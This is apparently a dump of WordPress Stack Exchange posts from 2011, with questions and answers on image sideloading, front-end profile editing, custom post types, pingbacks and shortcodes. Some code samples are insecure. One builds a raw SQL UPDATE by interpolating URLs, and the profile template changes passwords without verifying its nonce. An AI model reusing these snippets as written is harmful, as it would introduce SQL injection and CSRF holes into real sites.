preg_match_all('|&amp;lt;img.*?src=[\'&quot;](.*?)[\'&quot;].*?&amp;gt;|i', $my_body, $matches);&#xA;        foreach ( $matches[1] as $url ) :&#xA;            $spisak = $url;&#xA;        endforeach;&#xA;&#xA;        $url = $spisak;&#xA;    }&#xA;}&#xA;&#xA;set_time_limit( 300 );&#xA;require_once( ABSPATH . 'wp-admin/includes/media.php' );&#xA;require_once( ABSPATH . 'wp-admin/includes/file.php' );&#xA;$upload = media_sideload_image($url, $postid);&#xA;&#xA;if ( !is_wp_error($upload) ) {&#xA;    preg_match_all('|&amp;lt;img.*?src=[\'&quot;](.*?)[\'&quot;].*?&amp;gt;|i', $upload, $locals);&#xA;    foreach ( $locals[1] as $newurl ) :&#xA;        $wpdb-&amp;gt;query(&quot;UPDATE $wpdb-&amp;gt;posts SET post_content = REPLACE(post_content, '$orig_url', '$newurl');&quot;);&#xA;    endforeach;&#xA;}&#xA;&#xA;return $url;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;" OwnerUserId="3258" LastActivityDate="2011-02-19T00:55:44.303" Title="Rename image files on upload using keyword and post id" Tags="&lt;images&gt;&lt;uploads&gt;" />
  <row Id="9786" PostTypeId="2" ParentId="9775" CreationDate="2011-02-19T01:06:30.883" Score="5" ViewCount="" Body="&lt;p&gt;You can do that by copy your theme's page.php to a new file named something like user-profile.php  and add to the very top of it this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * Template Name: User Profile&#xA; *&#xA; * Allow users to update their profiles from Frontend.&#xA; *&#xA; */&#xA;&#xA;/* Get user info. */&#xA;global $current_user, $wp_roles;&#xA;get_currentuserinfo();&#xA;&#xA;/* Load the registration file. */&#xA;require_once( ABSPATH . WPINC . '/registration.php' );&#xA;&#xA;/* If profile was saved, update profile. */&#xA;if ( 'POST' == $_SERVER['REQUEST_METHOD'] &amp;amp;&amp;amp; !empty( $_POST['action'] ) &amp;amp;&amp;amp; $_POST['action'] == 'update-user' ) {&#xA;&#xA;    /* Update user password. */&#xA;    if ( !empty($_POST['pass1'] ) &amp;amp;&amp;amp; !empty( $_POST['pass2'] ) ) {&#xA;        if ( $_POST['pass1'] == $_POST['pass2'] )&#xA;            wp_update_user( array( 'ID' =&amp;gt; $current_user-&amp;gt;id, 'user_pass' =&amp;gt; esc_attr( $_POST['pass1'] ) ) );&#xA;        else&#xA;            $error = __('The passwords you entered do not match.  Your password was not updated.', 'profile');&#xA;    }&#xA;&#xA;    /* Update user information. */&#xA;    if ( !empty( $_POST['url'] ) )&#xA;        update_usermeta( $current_user-&amp;gt;id, 'user_url', esc_url( $_POST['url'] ) );&#xA;    if ( !empty( $_POST['email'] ) )&#xA;        update_usermeta( $current_user-&amp;gt;id, 'user_email', esc_attr( $_POST['email'] ) );&#xA;    if ( !empty( $_POST['first-name'] ) )&#xA;        update_usermeta( $current_user-&amp;gt;id, 'first_name', esc_attr( $_POST['first-name'] ) );&#xA;    if ( !empty( $_POST['last-name'] ) )&#xA;        update_usermeta($current_user-&amp;gt;id, 'last_name', esc_attr( $_POST['last-name'] ) );&#xA;    if ( !empty( $_POST['description'] ) )&#xA;        update_usermeta( $current_user-&amp;gt;id, 'description', esc_attr( $_POST['description'] ) );&#xA;&#xA;    /* Redirect so the page will show updated info. */&#xA;    if ( !$error ) {&#xA;        wp_redirect( get_permalink() );&#xA;        exit;&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then replace the loop of that page with this one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;        &amp;lt;div id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;entry-content entry&quot;&amp;gt;&#xA;                &amp;lt;?php the_content(); ?&amp;gt;&#xA;                &amp;lt;?php if ( !is_user_logged_in() ) : ?&amp;gt;&#xA;                        &amp;lt;p class=&quot;warning&quot;&amp;gt;&#xA;                            &amp;lt;?php _e('You must be logged in to edit your profile.', 'profile'); ?&amp;gt;&#xA;                        &amp;lt;/p&amp;gt;&amp;lt;!-- .warning --&amp;gt;&#xA;                &amp;lt;?php else : ?&amp;gt;&#xA;                    &amp;lt;?php if ( $error ) echo '&amp;lt;p class=&quot;error&quot;&amp;gt;' . $error . '&amp;lt;/p&amp;gt;'; ?&amp;gt;&#xA;                    &amp;lt;form method=&quot;post&quot; id=&quot;adduser&quot; action=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&#xA;                        &amp;lt;p class=&quot;form-username&quot;&amp;gt;&#xA;                            &amp;lt;label for=&quot;first-name&quot;&amp;gt;&amp;lt;?php _e('First Name', 'profile'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;input class=&quot;text-input&quot; name=&quot;first-name&quot; type=&quot;text&quot; id=&quot;first-name&quot; value=&quot;&amp;lt;?php the_author_meta( 'user_firstname', $current_user-&amp;gt;id ); ?&amp;gt;&quot; /&amp;gt;&#xA;                        &amp;lt;/p&amp;gt;&amp;lt;!-- .form-username --&amp;gt;&#xA;                        &amp;lt;p class=&quot;form-username&quot;&amp;gt;&#xA;                            &amp;lt;label for=&quot;last-name&quot;&amp;gt;&amp;lt;?php _e('Last Name', 'profile'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;input class=&quot;text-input&quot; name=&quot;last-name&quot; type=&quot;text&quot; id=&quot;last-name&quot; value=&quot;&amp;lt;?php the_author_meta( 'user_lastname', $current_user-&amp;gt;id ); ?&amp;gt;&quot; /&amp;gt;&#xA;                        &amp;lt;/p&amp;gt;&amp;lt;!-- .form-username --&amp;gt;&#xA;                        &amp;lt;p class=&quot;form-email&quot;&amp;gt;&#xA;                            &amp;lt;label for=&quot;email&quot;&amp;gt;&amp;lt;?php _e('E-mail *', 'profile'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;input class=&quot;text-input&quot; name=&quot;email&quot; type=&quot;text&quot; id=&quot;email&quot; value=&quot;&amp;lt;?php the_author_meta( 'user_email', $current_user-&amp;gt;id ); ?&amp;gt;&quot; /&amp;gt;&#xA;                        &amp;lt;/p&amp;gt;&amp;lt;!-- .form-email --&amp;gt;&#xA;                        &amp;lt;p class=&quot;form-url&quot;&amp;gt;&#xA;                            &amp;lt;label for=&quot;url&quot;&amp;gt;&amp;lt;?php _e('Website', 'profile'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;input class=&quot;text-input&quot; name=&quot;url&quot; type=&quot;text&quot; id=&quot;url&quot; value=&quot;&amp;lt;?php the_author_meta( 'user_url', $current_user-&amp;gt;id ); ?&amp;gt;&quot; /&amp;gt;&#xA;                        &amp;lt;/p&amp;gt;&amp;lt;!-- .form-url --&amp;gt;&#xA;                        &amp;lt;p class=&quot;form-password&quot;&amp;gt;&#xA;                            &amp;lt;label for=&quot;pass1&quot;&amp;gt;&amp;lt;?php _e('Password *', 'profile'); ?&amp;gt; &amp;lt;/label&amp;gt;&#xA;                            &amp;lt;input class=&quot;text-input&quot; name=&quot;pass1&quot; type=&quot;password&quot; id=&quot;pass1&quot; /&amp;gt;&#xA;                        &amp;lt;/p&amp;gt;&amp;lt;!-- .form-password --&amp;gt;&#xA;                        &amp;lt;p class=&quot;form-password&quot;&amp;gt;&#xA;                            &amp;lt;label for=&quot;pass2&quot;&amp;gt;&amp;lt;?php _e('Repeat Password *', 'profile'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;input class=&quot;text-input&quot; name=&quot;pass2&quot; type=&quot;password&quot; id=&quot;pass2&quot; /&amp;gt;&#xA;                        &amp;lt;/p&amp;gt;&amp;lt;!-- .form-password --&amp;gt;&#xA;                        &amp;lt;p class=&quot;form-textarea&quot;&amp;gt;&#xA;                            &amp;lt;label for=&quot;description&quot;&amp;gt;&amp;lt;?php _e('Biographical Information', 'profile') ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;textarea name=&quot;description&quot; id=&quot;description&quot; rows=&quot;3&quot; cols=&quot;50&quot;&amp;gt;&amp;lt;?php the_author_meta( 'description', $current_user-&amp;gt;id ); ?&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;                        &amp;lt;/p&amp;gt;&amp;lt;!-- .form-textarea --&amp;gt;&#xA;                        &amp;lt;p class=&quot;form-submit&quot;&amp;gt;&#xA;                            &amp;lt;?php echo $referer; ?&amp;gt;&#xA;                            &amp;lt;input name=&quot;updateuser&quot; type=&quot;submit&quot; id=&quot;updateuser&quot; class=&quot;submit button&quot; value=&quot;&amp;lt;?php _e('Update', 'profile'); ?&amp;gt;&quot; /&amp;gt;&#xA;                            &amp;lt;?php wp_nonce_field( 'update-user' ) ?&amp;gt;&#xA;                            &amp;lt;input name=&quot;action&quot; type=&quot;hidden&quot; id=&quot;action&quot; value=&quot;update-user&quot; /&amp;gt;&#xA;                        &amp;lt;/p&amp;gt;&amp;lt;!-- .form-submit --&amp;gt;&#xA;                    &amp;lt;/form&amp;gt;&amp;lt;!-- #adduser --&amp;gt;&#xA;                    &amp;lt;?php endif; ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-content --&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- .hentry .post --&amp;gt;&#xA;            &amp;lt;?php comments_template( '', true ); ?&amp;gt;&#xA;            &amp;lt;?php endwhile; ?&amp;gt;&#xA;        &amp;lt;?php else: ?&amp;gt;&#xA;            &amp;lt;p class=&quot;no-data&quot;&amp;gt;&#xA;                &amp;lt;?php _e('Sorry, no page matched your criteria.', 'profile'); ?&amp;gt;&#xA;            &amp;lt;/p&amp;gt;&amp;lt;!-- .no-data --&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and all that is left for you to do is create a new page and select the &quot;user profile&quot; as the page template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now if all of this is too much you can use some plugins that do the hard work for you like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/frontend-edit-profile/&quot; rel=&quot;nofollow&quot;&gt;Frontend Edit Profile&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-user-frontend/&quot; rel=&quot;nofollow&quot;&gt;WP User Frontend&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/theme-my-login/&quot; rel=&quot;nofollow&quot;&gt;Theme My Login&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2606" LastEditorDisplayName="" LastEditDate="2011-02-19T02:52:41.897" LastActivityDate="2011-02-19T02:52:41.897" CommentCount="3" />
  <row Id="9787" PostTypeId="2" ParentId="9781" CreationDate="2011-02-19T01:17:45.130" Score="1" ViewCount="" Body="&lt;p&gt;The easiest way is just to install WordPress in the root directory instead of in the subdirectory /blog/. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then if you want posts still to appear in /blog/ you can edit the permalinks structure in your Settings to include that.&lt;/p&gt;&#xA;" OwnerUserId="3271" LastActivityDate="2011-02-19T01:17:45.130" CommentCount="2" />
  <row Id="9788" PostTypeId="2" ParentId="9725" CreationDate="2011-02-19T01:30:14.393" Score="0" ViewCount="" Body="&lt;p&gt;You could create a new page template (&lt;a href=&quot;http://codex.wordpress.org/Pages#Page_Templates&quot; rel=&quot;nofollow&quot;&gt;wp codex page template link&lt;/a&gt;) and exclude the Pages Title (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_title&quot; rel=&quot;nofollow&quot;&gt;wp codex link page title&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Just copy the page template&lt;/li&gt;&#xA;&lt;li&gt;Look for and remove &lt;code&gt;&amp;lt;?php wp_title(); ?&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add the new page title to the top &lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Template Name: New Page Name&#xA;*/&#xA;?&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Save it&lt;/li&gt;&#xA;&lt;li&gt;Select the new page template to exclude the title on certain pages&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="3301" LastActivityDate="2011-02-19T01:30:14.393" />
  <row Id="9789" PostTypeId="2" ParentId="9781" CreationDate="2011-02-19T02:49:05.030" Score="2" ViewCount="" Body="&lt;p&gt;You just set the WordPress directory in your WP General Settings to your top-level URL  (www.site.com/), then copy index.php to the root directory of your site and modify it to load content from your actual wp directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step by step instructions are here: &lt;a href=&quot;http://codex.wordpress.org/Giving_WordPress_Its_Own_Directory&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Giving_WordPress_Its_Own_Directory&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did this for my personal web site: &lt;a href=&quot;http://dannythorpe.com&quot; rel=&quot;nofollow&quot;&gt;http://dannythorpe.com&lt;/a&gt;.  The WP files are actually located in a subdir of the web root (public_html), not the web root dir.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No URL rewriting is required!&lt;/p&gt;&#xA;" OwnerUserId="50" LastActivityDate="2011-02-19T02:49:05.030" CommentCount="1" />
  <row Id="9790" PostTypeId="1" CreationDate="2011-02-19T02:54:25.420" Score="2" ViewCount="94" Body="&lt;p&gt;Every time I publish a post, Tospy adds their pingback to my post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's annoying, but I don't know how to stop it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice?&lt;/p&gt;&#xA;" OwnerUserId="2115" LastActivityDate="2011-02-19T12:51:01.277" Title="How do I stop Topsy from spamming my site with those annoying trackbacks?" Tags="&lt;pingbacks&gt;" AnswerCount="4" FavoriteCount="2" />
  <row Id="9791" PostTypeId="2" ParentId="9790" CreationDate="2011-02-19T03:01:47.913" Score="2" ViewCount="" Body="&lt;p&gt;Have you marked their comments as spam? Akismet is supposed to learn from comments you mark as spam. Try that, it should start being marked as spam eventually.&lt;/p&gt;&#xA;" OwnerUserId="298" LastActivityDate="2011-02-19T03:01:47.913" />
  <row Id="9792" PostTypeId="1" AcceptedAnswerId="9797" CreationDate="2011-02-19T03:34:40.780" Score="0" ViewCount="124" Body="&lt;p&gt;So I created a custom post type like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'create_post_type');&#xA;&#xA;function create_post_type() {&#xA;  register_post_type(&#xA;    'portfolio', &#xA;    array(&#xA;      'labels' =&amp;gt; array(&#xA;        'name' =&amp;gt; 'Portfolio',&#xA;        'add_new_item' =&amp;gt; 'Add New Portfolio Item',&#xA;        'edit_item' =&amp;gt; 'Edit Portfolio Item'&#xA;      ),&#xA;      'public' =&amp;gt; true,&#xA;      'capability_type' =&amp;gt; 'post',&#xA;      'supports' =&amp;gt; array('title', 'editor', 'thumbnail', 'excerpt'),&#xA;      'menu_position' =&amp;gt; 5&#xA;    )&#xA;  );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I add a new custom post (http://localhost/wordpress/portfolio/portfolio-item-3/) and try going to that page, I get a 404. Whats wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/permalink-to-custom-post-type-gives-me-404-error#post-1893539&quot; rel=&quot;nofollow&quot;&gt;This solution&lt;/a&gt; works but what does it do and it sounds like its not good to keep flushing my rewrite rules isit?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Add&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;flush_rewrite_rules();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;after you call &lt;code&gt;register_post_type&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="794" LastEditorUserId="794" LastEditorDisplayName="" LastEditDate="2011-02-19T03:42:45.190" LastActivityDate="2011-02-19T05:41:53.683" Title="After creating custom post type, URL to custom posts are invalid" Tags="&lt;custom-post-types&gt;" AnswerCount="1" />
  <row Id="9793" PostTypeId="2" ParentId="9790" CreationDate="2011-02-19T03:59:56.190" Score="1" ViewCount="" Body="&lt;p&gt;just unmark the allow pingback/trackback while adding the post..&#xA;&lt;img src=&quot;http://i.stack.imgur.com/b8cZw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2540" LastActivityDate="2011-02-19T03:59:56.190" />
  <row Id="9794" PostTypeId="5" CreationDate="2011-02-19T04:03:28.090" Score="0" ViewCount="" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditorDisplayName="" LastEditDate="2011-02-19T04:03:28.090" LastActivityDate="2011-02-19T04:03:28.090" />
  <row Id="9795" PostTypeId="4" CreationDate="2011-02-19T04:03:28.090" Score="0" ViewCount="" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditorDisplayName="" LastEditDate="2011-02-19T04:03:28.090" LastActivityDate="2011-02-19T04:03:28.090" />
  <row Id="9796" PostTypeId="1" AcceptedAnswerId="9798" CreationDate="2011-02-19T05:31:57.237" Score="1" ViewCount="95" Body="&lt;p&gt;I have been considering using the  &lt;code&gt;the_editor&lt;/code&gt; function to create WYSIWYG editors in my own pages. Is using the WordPress's inbuilt WYSIWYG editor in a plugin meant for general distribution advisable? Is it considered a part of the API that we can rely on to not change and break the plugin in future versions? &lt;/p&gt;&#xA;" OwnerUserId="353" LastActivityDate="2011-02-19T05:44:52.663" Title="Is Using WordPress Supplied WYSIWYG Advisable?" Tags="&lt;plugin-development&gt;&lt;wysiwyg&gt;&lt;3.1&gt;&lt;admin-screens&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="9797" PostTypeId="2" ParentId="9792" CreationDate="2011-02-19T05:36:33.843" Score="2" ViewCount="" Body="&lt;p&gt;All that does is reset the rewrite rules. You could do the same by visiting the permalinks page and clicking save. You do need to reset them once but not every time. There is no need to flush every time you call register_post_type&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditorDisplayName="" LastEditDate="2011-02-19T05:41:53.683" LastActivityDate="2011-02-19T05:41:53.683" />
  <row Id="9798" PostTypeId="2" ParentId="9796" CreationDate="2011-02-19T05:44:52.663" Score="2" ViewCount="" Body="&lt;p&gt;Yes using the built in editor is the right way to do it. WordPress prizes backwards compatibility so the function should continue to work forever.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2011-02-19T05:44:52.663" />
  <row Id="9799" PostTypeId="2" ParentId="9790" CreationDate="2011-02-19T06:08:45.063" Score="0" ViewCount="" Body="&lt;p&gt;This &lt;a href=&quot;http://codex.wordpress.org/Combating_Comment_Spam&quot; rel=&quot;nofollow&quot;&gt;codex article&lt;/a&gt; is rather old but most of it is still relevant.&lt;/p&gt;&#xA;" OwnerUserId="3283" LastActivityDate="2011-02-19T06:08:45.063" />
  <row Id="9800" PostTypeId="2" ParentId="9782" CreationDate="2011-02-19T06:38:22.770" Score="0" ViewCount="" Body="&lt;p&gt;&lt;em&gt;Plugin URL&lt;/em&gt; points to a resource where you describe your plugin. It could be a blog post, a GitHub repository or a dedicated website. You may even leave it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The value is &lt;strong&gt;not&lt;/strong&gt; used by the WP people to approve your plugin; so it should not link to a zip archive. &lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-02-19T06:38:22.770" />
  <row Id="9801" PostTypeId="2" ParentId="9776" CreationDate="2011-02-19T08:18:05.473" Score="0" ViewCount="" Body="&lt;p&gt;I think this should work if you wrap it in an array? Not entirely sure, though ... 'meta_value' =&gt; array('red', 'blue').&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-19T08:18:05.473" />
  <row Id="9802" PostTypeId="2" ParentId="9708" CreationDate="2011-02-19T08:31:05.037" Score="3" ViewCount="" Body="&lt;p&gt;Dude, you're doing this the hard way. You can do what you want totally with a single 'featured post thumbnail'. Read the documentation about thumbnail sizes in themes. You can inject custom thumbnail sizes in your themes funcitons.php and then give them as a parameter to the (get_)the_post_thumbnail() function. Please just read the documentation at the Codex  - start with the function reference page for &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_post_thumbnail&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;the_post_thumbnail()&lt;/code&gt;&lt;/a&gt;, maybe - and you'll see. Wordpress does automatically resize and crop the image for you, if only you tell it to do so.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-03-25T21:00:29.653" LastActivityDate="2011-03-25T21:00:29.653" CommentCount="2" />
  <row Id="9803" PostTypeId="1" AcceptedAnswerId="9840" CreationDate="2011-02-19T08:37:00.297" Score="0" ViewCount="74" Body="&lt;p&gt;I just integrated High Slide to my wordpress site, which I found over here &lt;a href=&quot;http://highslide.com/editor/&quot; rel=&quot;nofollow&quot;&gt;http://highslide.com/editor/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am displaying a form in this high slide window, but the problem is, I have youtube video on my every post and it is overlapping the form and the window,&#xA;Check this image&#xA;&lt;img src=&quot;http://i.stack.imgur.com/AChDe.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I dont want this overlapping, and also when I click on the Inline HTML link(which will popup the form) I want that the background should be in dim black color &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can that be done?&lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2011-02-19T15:15:26.583" Title="highslide is overlapped" Tags="&lt;html&gt;" AnswerCount="1" />
  <row Id="9804" PostTypeId="1" AcceptedAnswerId="9817" CreationDate="2011-02-19T08:40:17.740" Score="0" ViewCount="25" Body="&lt;p&gt;Hei,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i've been developing a few plugins over the last few weeks that i want to share, soon, such as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a 'helper'-plugin, that eases the creation of standard option pages&lt;/li&gt;&#xA;&lt;li&gt;a photo contest manager&lt;/li&gt;&#xA;&lt;li&gt;a subcription signup manager (a rewrite of 'user role subscriptions' by Byrd)&lt;/li&gt;&#xA;&lt;li&gt;a basic affiliate ad campain manager with referral tracking&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Since im a lazy c*** i'm wondering if there's a necessity to setup my own site properly (which i have, but it still shows the ads from the hosting company ;-) ) or if using the SVN hosting offered by Wordpress Plugins gives me all i need?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, what are the licensing policies when hosting on Wordpress Plugins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-19T12:31:51.697" Title="Plugin Repostitory Questions" Tags="&lt;plugins&gt;&lt;hosting&gt;" AnswerCount="1" />
  <row Id="9805" PostTypeId="1" AcceptedAnswerId="9822" CreationDate="2011-02-19T08:48:48.160" Score="1" ViewCount="59" Body="&lt;p&gt;I am aware of creating a shortcode this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function font_fam($atts, $content = null){ &#xA;extract(shortcode_atts(array(&#xA;  'f' =&amp;gt; '',  &#xA;  ), $atts ));&#xA;&#xA;return '&amp;lt;span style=&quot;font-family:'.$f.'&quot;&amp;gt;'.$content.'&amp;lt;/span&amp;gt;';&#xA;&#xA;}&#xA;add_shortcode ('f','font_fam');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And to use it would be like this right:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[f f=&quot;Arial&quot;] Text Text [/f]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But is there a way so that it will be used like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[f Arial] Text Text[/f]&#xA;[f Tahoma] Text Text [/f]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(skipping the &quot;f=&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3305" LastActivityDate="2011-02-19T13:04:46.417" Title="Shortcode But Without The Equals Sign?" Tags="&lt;shortcode&gt;" AnswerCount="2" />
  <row Id="9806" PostTypeId="2" ParentId="9805" CreationDate="2011-02-19T08:58:44.147" Score="1" ViewCount="" Body="&lt;p&gt;One way could be to preparse your content by hooking a 'the_content' filter that adds the &lt;code&gt;f=&lt;/code&gt; bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another could be to change your shortcodes to something like &lt;code&gt;[Tahoma]...[/Tahoma]&lt;/code&gt; and skip the f altogether, although then you end up registering a lot of shortcodes.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-19T08:58:44.147" />
  <row Id="9807" PostTypeId="2" ParentId="9716" CreationDate="2011-02-19T09:11:38.840" Score="0" ViewCount="" Body="&lt;p&gt;Also...cast your meta value as an array and look at the &lt;code&gt;wp_count_posts()&lt;/code&gt; and how it's used in wp-admin/edit-form-advanced.php for an example.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastEditorUserId="3104" LastEditorDisplayName="" LastEditDate="2011-02-22T16:05:53.117" LastActivityDate="2011-02-22T16:05:53.117" />
  <row Id="9808" PostTypeId="1" CreationDate="2011-02-19T10:12:59.847" Score="0" ViewCount="130" Body="&lt;p&gt;Can I have custom taxonomies but with icons associated with them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: I want a list of skills I used for my portfolio item (eg. PHP, MySQL, CSS etc).&lt;br&gt;&#xA;Instead of text, I thought of displaying icons. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I needto somehow set icons for my taxonomies. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How might I do it?&lt;br&gt;&#xA;Is it very complex? &#xA;How might it look or whats it like to build it?&lt;br&gt;&#xA;the steps?  &lt;/p&gt;&#xA;" OwnerUserId="794" LastEditorUserId="2727" LastEditorDisplayName="" LastEditDate="2011-02-19T11:07:11.507" LastActivityDate="2011-02-19T14:52:28.700" Title="Custom Taxonomies but with Icons associated?" Tags="&lt;custom-taxonomy&gt;" AnswerCount="3" />
  <row Id="9809" PostTypeId="2" ParentId="9763" CreationDate="2011-02-19T10:43:56.310" Score="1" ViewCount="" Body="&lt;p&gt;I think you can go about the filter &lt;code&gt;list_terms_exclusions&lt;/code&gt;, but i don`t tested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function fb_list_terms_exclusions($args) {&#xA;&#xA;    if ( 'media-upload-popup' != $where )&#xA;        return $where;&#xA;&#xA;    if ( !current_user_can('manage_categories') )&#xA;        $where = &quot; AND t.slug  NOT IN ('uncategorized', 'category-2')&quot;; // slug of categories&#xA;&#xA;    return $where;&#xA;}&#xA;add_filter( 'list_terms_exclusions', 'fb_list_terms_exclusions' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;update for the comments to this asnwer: an example to find the post types; at first a small example to use the default variables and after this an funtion for return an value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Include my scripts&#xA; *&#xA; * $pagehook for check, if this the right page&#xA; * $post_type for check, if this the right post type&#xA; */&#xA;function fb_post_type_script($pagehook) {&#xA;    global $post_type;&#xA;&#xA;    $pages = array( 'edit.php', 'post.php', 'post-new.php' );&#xA;    if ( in_array( $pagehook, $pages ) &amp;amp;&amp;amp; $post_type == 'my_post_type' ) {&#xA;        wp_enqueue_script( 'my_script_example_key', plugins_url( 'js/my_example_script.js', __FILE__ ), array( 'jquery', 'my_other_example_script_key' ), '1.0.0' );&#xA;    }&#xA;}&#xA;add_action( 'admin_enqueue_scripts', 'fb_post_type_script' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;alternative you use a custom function to find the post type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Return post type&#xA; *&#xA; * @return string $post_type&#xA; */&#xA;private function get_post_type() {&#xA;&#xA;    if ( !function_exists('get_post_type_object') )&#xA;        return NULL;&#xA;&#xA;    if ( isset($_GET['post']) )&#xA;        $post_id = (int) $_GET['post'];&#xA;    elseif ( isset($_POST['post_ID']) )&#xA;        $post_id = (int) $_POST['post_ID'];&#xA;    else&#xA;        $post_id = 0;&#xA;&#xA;    $post = NULL;&#xA;    $post_type_object = NULL;&#xA;    $post_type = NULL;&#xA;    if ( $post_id ) {&#xA;        $post = 